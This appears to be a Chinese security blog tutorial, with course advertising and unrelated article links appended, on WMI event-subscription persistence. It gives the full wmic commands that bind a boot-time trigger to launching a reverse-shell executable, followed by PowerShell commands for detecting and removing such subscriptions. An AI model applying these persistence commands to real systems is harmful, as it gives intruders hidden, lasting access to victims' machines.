内网权限维持——利用WMI进行权限维持

文章目录
  • 一、WMI事件订阅机制简介
  • 二、利用事件订阅进行权限维持
  • 三、防御方式

一、WMI事件订阅机制简介

WMI(Windows Management Instrumentation,Windows管理规范)是windows提供的一种能够直接与系统进行交互的机制,旨在为系统中运行的各程序界定一套独立于环境的标准,允许系统中允许的程序相互交流系统的程序管理信息。

WMI事件是Windows管理架构中的一部分,它可以监视应用程序的运行、响应系统和应用程序的事件。通过使用WMI事件,应用程序可以接收系统各类通知,并且在特定事件发生时采取相应的措施。例如,磁盘空间不足时可以通过WMI事件来发出警报等。WMI事件可以通过编写WMI查询或使用WMI事件订阅API来捕获。

WMI事件订阅是一种消息机制,用来监听事件类的触发。简单来书,设置一个监听磁盘空间不足的事件订阅,程序可以在磁盘不足的第一时间接收到WMI的告警。事件订阅中有很多类,这里主要关注以下类:

类名作用
EventFilter触发器
EventConsumer执行动作
FilterToConsumerBinding绑定过滤器和消费者类(负责捆绑EventFilter和EventConsumer)

二、利用事件订阅进行权限维持

1、WQL是一种类似SQL的查询语句,是WMI提供的一种用于WMI查询或WMI事件订阅的语句。在命令行中输入wbemtest,打开Windows Management Instrumentation测试器来通过WQL语句查询系统信息。

wbemtest


打开后进入一个命名空间,点击“连接”——“查询”。


使用WQL查询当前系统中所有进程的PID。

select * from Win32_Process


此外,还有其他查询语句。

# 获取主机名 select * from Win32_ComputerSystem # 获取BOIS信息 select * from Win32_BOIS # 获取键盘信息 select * from Win32_Keyboard # 获取服务列表 select * from Win32_Service # 获取磁盘列表 select * from Win32_LogicalDisk # 获取光驱信息 select * from Win32_CDROMDriver

2、利用WMI通知查询的方式来监听windows打印机任务,选择“通知查询”。并使用如下WQL语句:

select * from __InstanceCreationEvent within 0.001 where TargetInstance ISA "Win32_PrintJob" # __InstanceCreateEvent:代表windows事件类 # within 0.001:代表轮询时间,轮询时间为0.001s,可以理解为每毫秒查询一次该事件 # TargetInstance:实例名称 # ISA:等于 # Win32_PrintJob:打印机名称

3、我们可以将通知查询和执行动作进行捆绑,捆绑之后,系统触发某项查询规则时会立即执行对应动作。首先创建一个触发器,代码如下:

# 在系统初始化之后的第60秒将会进行通知 wmic /namespace:"\\root\subscription" PATH __EventFilter create Name="Testone",EventNameSpace="root\cimv2",Querylanguage="WQL",Query="select * from __InstanceModificationEvent within 60 where TargetInstance ISA "Win32_PerfFormattedData_PerfOS_SYSTEM"" # __EventFilter:触发器 # Testone:触发器名称 # 触发的通知条件由Query决定 # Win32_PerfFormattedData_PerfOS_SYSTEM:windows系统初始化

4、创建好触发器后,需要绑定一个对应的执行动作,也就是触发器在查询到想要的内容后就会触发绑定的执行动作。执行动作需要将命名空间指定为触发器所设置的命名空间,创建执行动作可以使用EventConsumer来完成。当然,需要生成反弹shell,设置监听器哈!

# 当Testone时间被触发后,C:\tmp\reverse_shell.exe将会被执行 wmic /namespace:"\\root\subscription" PATH CommandLineEventConsumer create Name="Testone",ExecutablePath="C:\tmp\reverse_shell.exe",CommandLineTemplate="C:\tmp\reverse_shell.exe"


5、使用FilterToConsumerBinding来绑定刚刚所创建的触发器和执行动作。

# 绑定触发器和执行动作 wmic /namespace:"\\root\subscription" PATH __FilterToConsumerBinding create Filter="__EventFilter.Name=\"Testone\"",Consumer="CommandLineEventConsumer.Name=\"Testone\""


6、重启计算,在系统进行初始化工作(重启/重新登录)的第60秒,获取反弹shell。

三、防御方式

# 查询系统所有命名空间 Get-WmiObject -Namespace root -List -Recurse | Select -Unique __NAMESPACE
# 查询root\subscription命名空间中是否存在执行恶意命令的触发器 Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | select CommandLineTemplate,ExecutablePath

# 列出事件过滤器 Get-WMIObject -Namespace root\Subscription -Class __EventFilter

# 列出事件消费者 Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

# 列出事件绑定 Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

# 删除事件过滤器 Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='Testone'" | Remove-WmiObject -Verbose

# 删除事件消费者 Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='Testone'" | Remove-WmiObject -Verbose

# 删除事件绑定 Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%Testone%'" | Remove-WmiObject -Verbose

# 查询root\subscription命名空间中是否存在执行恶意命令的触发器 Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | select CommandLineTemplate,ExecutablePath


至此,系统初始化后的第60s,不会运行反弹shell脚本。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1159879.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

小红书内容管理革命:XHS-Downloader高效批量下载全攻略

小红书内容管理革命:XHS-Downloader高效批量下载全攻略 【免费下载链接】XHS-Downloader 免费;轻量;开源,基于 AIOHTTP 模块实现的小红书图文/视频作品采集工具 项目地址: https://gitcode.com/gh_mirrors/xh/XHS-Downloader …

跨境电商运营自动化:我如何用Python开发AI批量图像翻译工具,替代人工PS修图

作者:林焱(RPA自动化流程开发者)一、 跨境电商的“隐形时间杀手”在电商运营圈里,大家都在谈论选品、谈论流量,但很少有人关注“执行层的效率”。作为一个专门从事定制自动化流程(RPA)的开发者&…

什么是社会工程学?定义、类型、攻击技术?零基础入门到精通,收藏这篇就够了

什么是社会工程学? 社会工程(在网络安全背景下)的字典定义是“利用欺骗手段操纵个人泄露可能用于欺诈目的的机密或个人信息 。” 最基本的是,这包括通过网络钓鱼尝试向个人电子邮件帐户发送大规模垃圾邮件,例如提供知…

企业内自搭建容器镜像服务-docker镜像服务

本文提供了搭建一个稳定、可复用的容器镜像服务器(私有镜像仓库),用于存储和管理 Docker 镜像,替代公共仓库(如 Docker Hub),满足内网 / 生产环境的镜像管理需求。基于最成熟的 Docker Registry…

什么是网络安全攻防演练,即红蓝对抗?

定义与目的 定义:网络安全攻防演练是一种模拟真实网络攻击和防御场景的活动,通过组织专业的攻击队伍(红队)和防御队伍(蓝队)进行对抗,来检验和提升组织的网络安全防御能力、应急响应能力和安全运…

黑客技术?没你想象的那么难!——dns劫持篇

黑客技术?没你想象的那么难!——dns劫持篇 什么是DNS劫持? DNS劫持就是通过劫持了DNS服务器,通过某些手段取得某域名的解析记录控制权,进而修改此域名的解析结果,导致对该域名的访问由原IP地址转入到修改后…

【VirtualBox】【启动报错】

报错 VT-x is being used by another hypervisor (VERR_VMX_IN_VMX_ROOT_MODE). VirtualBox cant operate in VMX root mode. Please disable the KVM kernel extension, recompile your kernel and reboot (VERR_VMX_IN_VMX_ROOT_MODE). 返回 代码: NS_ERROR_FAILURE (0x80004…

Chrome浏览器增强便携版:集成Chrome++补丁,免安装即开即用

对于Chrome浏览器用户而言,官方版本存在自动更新干扰、安装路径固定、功能限制等问题。这款Chrome增强便携版通过技术创新完美解决了这些痛点,既保留了Chrome原有的优秀特性,又增加了诸多实用功能。 获取地址:点击访问 一、技术实…

火狐浏览器优化版tete009:免安装+内存管理重构+启动加速

作为开源浏览器的代表,Firefox以其强大的扩展生态和隐私保护特性备受推崇。然而,原版Firefox在长期使用中可能出现内存占用过高、启动速度下降等问题。tete009 Firefox​ 作为社区知名的优化版本,针对这些性能瓶颈进行了深度优化。 获取地址…

导师推荐!2026 9大AI论文网站测评:本科生毕业论文全攻略

导师推荐!2026 9大AI论文网站测评:本科生毕业论文全攻略 2026年AI论文网站测评:为何需要一份权威榜单? 随着人工智能技术的不断进步,AI写作工具在学术领域的应用日益广泛。对于本科生而言,从选题到成文的全…

用create-react-app脚手架创建react项目

创建项目npx create-react-app name --template typescript1、删掉src下多余的文件2、可去掉index.tsx中的严格模式root.render(// - <React.StrictMode><App />// - </React.StrictMode> );3、配置别名&#xff08;dilanx/craco需安装这个插件&#xff09; …

【Ubuntu 24.04 安装搜狗输入法完整教程】

摘要 Ubuntu 24.04 默认使用Fcitx5和Wayland&#xff0c;与搜狗输入法的Fcitx4框架存在兼容性问题。本教程通过降级到Fcitx4、切换到Xorg 显示服务器、安装必要依赖等步骤&#xff0c;解决安装冲突和显示异常问题。经实际验证&#xff0c;可成功在Ubuntu 24.04上稳定运行搜狗…

DLSS状态显示功能终极指南:从入门到精通全解析

DLSS状态显示功能终极指南&#xff1a;从入门到精通全解析 【免费下载链接】dlss-swapper 项目地址: https://gitcode.com/GitHub_Trending/dl/dlss-swapper 作为NVIDIA深度学习超级采样技术的忠实用户&#xff0c;我深知在游戏中确认DLSS是否正常工作的困扰。经过长期…

太流批了,清理大师

电脑使用的时间越久&#xff0c;产生的垃圾就越多&#xff0c;C盘就没有太多空间。今天给大家推荐一款专业的清理软件&#xff0c;能够快速清理无用的电脑垃圾&#xff0c;有需要的小伙伴可以下载收藏。 软媒清理大师 快速清理电脑垃圾 这款软件不需要安装&#xff0c;打开就能…

遥控设备MCU低功耗设计全链路方案

目录 一、 硬件层低功耗设计&#xff08;基石&#xff09; 1. MCU 选型与内核特性利用 2. 外设选型与供电优化 &#xff08;1&#xff09; 射频模块低功耗设计&#xff08;LoRa&#xff09; &#xff08;2&#xff09; 显示屏低功耗选型 &#xff08;3&#xff09; 按键与…

LIWC-Python终极指南:快速掌握文本情感分析技术

LIWC-Python终极指南&#xff1a;快速掌握文本情感分析技术 【免费下载链接】liwc-python Linguistic Inquiry and Word Count (LIWC) analyzer 项目地址: https://gitcode.com/gh_mirrors/li/liwc-python 在当今数据驱动的时代&#xff0c;文本情感分析已成为心理学研究…

如何给文件批量重命名?超详细文件批量重命名软件使用教程

你是否也曾面对过这样的窘境&#xff1a;从相机导出的上百张照片是杂乱无章的“IMG_xxxx.jpg”&#xff0c;下载的文档资料是一堆毫无关联的乱码&#xff0c;又或者收集的剧集文件命名格式五花八门&#xff1f;一个一个手动修改文件名&#xff0c;不仅枯燥乏味&#xff0c;还极…

python基于vue校园求职人才招聘管理系统django flask pycharm

目录 校园求职人才招聘管理系统摘要 开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01; 校园求职人才招聘管理系统摘要 该系统基于Python技术栈&#xff08;Django/Flask框架&#xff09;与Vu…

FlashMLA 加速推理技术

来源&#xff1a; https://developer.aliyun.com/article/1653387 代码&#xff1a;https://github.com/deepseek-ai/FlashMLAFlashMLA 简介 FlashMLA 是一款专为 NVIDIA Hopper 架构 GPU 优化的高效 MLA&#xff08;Multi-Head Linear Attention&#xff09;解码内核&#xff…

python基于vue的在线考试试卷批阅系统django flask pycharm

目录技术栈概述核心功能模块关键技术实现开发工具链扩展性设计开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01;技术栈概述 Python作为后端开发语言&#xff0c;结合Django或Flask框架构建RE…